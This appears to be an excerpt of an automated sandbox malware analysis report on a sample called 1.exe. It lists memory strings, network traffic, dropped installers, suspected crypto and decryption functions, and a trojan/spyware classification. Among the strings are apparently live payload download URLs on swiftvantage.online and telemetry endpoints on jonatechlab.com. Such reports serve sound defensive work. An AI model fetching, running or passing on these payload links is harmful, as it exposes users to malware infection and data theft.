Source: MainSoftware.exe, 00000010.00000002.2139786896.000002349ED61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139740826.000002349ED57000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://jonatechlab.com/install/whattoinstall/Ghttps://jonatechlab.com/install/new
Source: MainSoftware.exe, 00000010.00000002.2141451491.0000027535BE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jonatechlab.com/logs/telemetry
Source: MainSoftware.exe, 00000010.00000002.2139786896.000002349ED61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139740826.000002349ED57000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://jonatechlab.com/logs/telemetry-MyPersistentApp_Hourly
Source: MainSoftware.exe, 00000010.00000002.2139786896.000002349ED61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139740826.000002349ED57000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://jonatechlab.comH123e4567-e89b-12d3-a456-426614174000
Source: 1.exe, 1.exe, 00000004.00000003.2247463366.00000000081B9000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1597724599.000000000819A000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000017.00000002.2171835175.000000137B189000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://qb-hos.pages.dev/page-2/?source_id=6
Source: 1.exe, 1.exe, 00000004.00000003.1316784592.0000000008216000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1316821573.000000000821A000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.000000000506F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2230434035.0000000008B35000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2226638707.0000000008B32000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517337406.0000000008B40000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.0000000005071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Install.exe
Source: 1.exe, 00000004.00000003.2248179709.00000000053E4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.2247638745.00000000053E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Install.exe=
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Install.exep
Source: 1.exe, 1.exe, 0000000B.00000003.2227216121.000000000506F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.0000000005071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Surfclub.pkg
Source: 1.exe, 00000004.00000003.1315095135.0000000009710000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Surfclub.pkgCtrlEvt
Source: 1.exe, 00000004.00000002.2261284310.000000000819A000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1597724599.000000000819A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Surfclub.pkge
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000002.2261783516.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1596877787.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1317343303.000000000823B000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.2247148881.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517166138.0000000008B40000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.00000000050B4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.00000000050B4000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515052828.00000000050E9000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2230434035.0000000008B35000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2226638707.0000000008B32000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2229533139.0000000006B15000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515074607.00000000050CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ssl.com/repository0

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 104.21.80.136:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.71:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.71:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.71:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.136:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.211:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.211:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49727 version: TLS 1.2

System Summary

Contains functionality to call native functions

Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0094E120 NtdllDefWindowProc_W,	11_2_0094E120
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0086A490 NtdllDefWindowProc_W,	11_2_0086A490
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00867490 NtdllDefWindowProc_W,	11_2_00867490
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00866610 NtdllDefWindowProc_W,NtdllDefWindowProc_W,GlobalAlloc,GlobalLock,GlobalUnlock,NtdllDefWindowProc_W,	11_2_00866610
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00869640 NtdllDefWindowProc_W,	11_2_00869640
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_008717B0 NtdllDefWindowProc_W,	11_2_008717B0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0087F730 NtdllDefWindowProc_W,	11_2_0087F730
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_008E2730 NtdllDefWindowProc_W,	11_2_008E2730
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00871920 NtdllDefWindowProc_W,	11_2_00871920
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0088DAD0 NtdllDefWindowProc_W,	11_2_0088DAD0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00879E00 NtdllDefWindowProc_W,DeleteCriticalSection,	11_2_00879E00
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00869E30 NtdllDefWindowProc_W,	11_2_00869E30

Creates files inside the system directory

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\51577c.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5903.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5971.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI59B1.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5A00.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{67AEF7BA-A109-4700-BE3F-0231069B1923}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7A3B.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7AA9.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7B27.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7B86.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8914.tmp	Jump to behavior

Deletes files inside the Windows folder

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI5903.tmp

Jump to behavior

Detected potential crypto function

Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_053E53BD	4_3_053E53BD
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_053E53BD	4_3_053E53BD
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_053E0914	4_3_053E0914
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00880350	11_2_00880350
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00851490	11_2_00851490
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00889000	11_2_00889000
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_008E71E0	11_2_008E71E0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00857950	11_2_00857950
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_008871F0	11_2_008871F0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0088F1F0	11_2_0088F1F0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_008833B3	11_2_008833B3
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_008903D0	11_2_008903D0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00A184F0	11_2_00A184F0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00853420	11_2_00853420
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00A22560	11_2_00A22560
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00885A80	11_2_00885A80
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00A18A70	11_2_00A18A70
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00A19A50	11_2_00A19A50
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00880BB0	11_2_00880BB0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0089EB20	11_2_0089EB20
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0089DCD0	11_2_0089DCD0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00AA2C50	11_2_00AA2C50
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0087BDE0	11_2_0087BDE0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00990DF0	11_2_00990DF0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00898D50	11_2_00898D50
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00867E90	11_2_00867E90
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00871E60	11_2_00871E60
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00A0FFB0	11_2_00A0FFB0
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00A18F80	11_2_00A18F80
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00896F60	11_2_00896F60

Dropped file seen in connection with other malware

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe C0A814EECAE4E5B4B295F14E4FCFB49C7CEDF47616AA5A1B068DE42272F4976A
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\Main\Chop\Install.exe 63FB3ED0ABA87917847AD256C4E89F7B250ADC6E2EAC74023BB52E091AB0EF97

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\1.exe	Code function: String function: 008587B0 appears 52 times
Source: C:\Users\user\Desktop\1.exe	Code function: String function: 00859190 appears 125 times
Source: C:\Users\user\Desktop\1.exe	Code function: String function: 009A7760 appears 32 times
Source: C:\Users\user\Desktop\1.exe	Code function: String function: 00A84B73 appears 42 times

PE file contains executable resources (Code or Archives)

Source: MainSoftware.exe.4.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: SoftwareDistributor.exe.4.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: SoftwareDistributor.exe.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: MainSoftware.exe.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: Install.exe.part.13.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

PE file contains strange resources

Source: Install.exe.part.13.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Sample file is different than original file name gathered from version info

Source: 1.exe, 00000004.00000003.1321424870.0000000009918000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewininet.dllD vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Private.CoreLib.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1315095135.0000000009710000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelzmaextractor.dllF vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C703000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.ObjectModel.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C55A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Immutable.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C5EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Http.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000CA0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Extensions.Configuration.Abstractions.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C534000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSerilog.Formatting.Compact.dllV vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C6B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Security.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000CA07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C976000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Reflection.Metadata.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C9A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Claims.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.2247463366.00000000081D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsi.dllX vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C9FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.Channels.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C5B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Formats.Asn1.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1597724599.00000000081D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsi.dllX vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C5C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.IO.Compression.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C539000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSerilog.Sinks.Http.dllF vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C5DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Linq.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Extensions.Configuration.Abstractions.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.2257156984.00000000081D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsi.dllX vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C66E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.NameResolution.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.2253775582.00000000081D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsi.dllX vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C993000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.Numerics.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C5D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.IO.MemoryMappedFiles.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C9EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Principal.Windows.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C570000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.ComponentModel.Primitives.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C523000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSerilog.dll0 vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C699000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Quic.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C57D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.DiagnosticSource.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Private.Uri.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C9AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C542000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMSIInstaller.dll: vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C59F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Process.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C550000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Concurrent.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C684000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Primitives.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C6E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Sockets.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C569000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C5B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.StackTrace.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C562000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.NonGeneric.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C576000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.ComponentModel.TypeConverter.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C548000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.Registry.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSoftwareDetector.dllF vs 1.exe
Source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameShortcutFlags.dllF vs 1.exe
Source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAICustAct.dllF vs 1.exe
Source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePrereq.dllF vs 1.exe
Source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFileOperations.dllF vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C3C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemscordaccore.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C3C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMSIInstaller.dll: vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C3C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Extensions.Configuration.Abstractions.dll@ vs 1.exe
Source: 1.exe, 00000004.00000003.1588667153.000000000C679000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.NetworkInformation.dll@ vs 1.exe
Source: 1.exe, 0000000B.00000003.1517432545.000000000744C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewininet.dllD vs 1.exe

Uses 32bit PE files

Source: 1.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal48.troj.spyw.evad.winEXE@36/86@4/5

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_009B8DA0 FormatMessageW,GetLastError,

11_2_009B8DA0

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_00893550 GetDriveTypeW,GetDiskFreeSpaceExW,

11_2_00893550

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_0089D260 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

11_2_0089D260

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_0085A8A0 LoadResource,LockResource,SizeofResource,

11_2_0085A8A0

Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files (x86)\Atomix

Jump to behavior

Source: C:\Users\user\Desktop\1.exe

File created: C:\Users\user\AppData\Roaming\Atomix

Jump to behavior

Source: C:\Program Files\Surfclub\Install.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5000:120:WilError_03

Source: C:\Users\user\Desktop\1.exe

File created: C:\Users\user\AppData\Local\Temp\shiA18.tmp

Jump to behavior

Source: 1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\1.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1.exe	Virustotal: Detection: 27%
Source: 1.exe	ReversingLabs: Detection: 21%

Source: 1.exe

String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Install.exe

Source: C:\Users\user\Desktop\1.exe

File read: C:\Users\user\Desktop\1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1.exe "C:\Users\user\Desktop\1.exe"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding F574E926F0549E16F7448F5C9BE1C2BF C
